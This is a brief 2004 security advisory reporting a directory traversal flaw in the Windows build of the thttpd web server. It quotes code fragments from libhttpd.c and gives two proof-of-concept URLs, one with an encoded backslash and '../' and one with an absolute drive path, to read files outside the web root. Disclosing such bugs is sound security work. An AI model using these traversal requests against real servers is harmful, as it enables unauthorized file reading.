Application: thttpd Vendors: http://www.acme.com/software/thttpd/ Version: 2.07 beta 0.4 10dec99 Platforms: Windows Bug: Directory Traversal Date: 2004-08-04 Author: CoolICE e-mail: CoolICE#China.com ================ Content: in libhttpd.c: int httpd_parse_request( httpd_conn* hc ) [...] if ( hc->decodedurl[0] != '/' ) { httpd_send_err( hc, 400, httpd_err400title, httpd_err400form, "" ); return -1; } static int really_start_request( httpd_conn* hc ) [...] if ( stat( hc->expnfilename, &hc->sb ) < 0 ) { httpd_send_err( hc, 500, err500title, err500form, hc->encodedurl ); return -1; } ------------------ TestCode: http://localhost/%5c../test.ini http://localhost/c:\test.ini
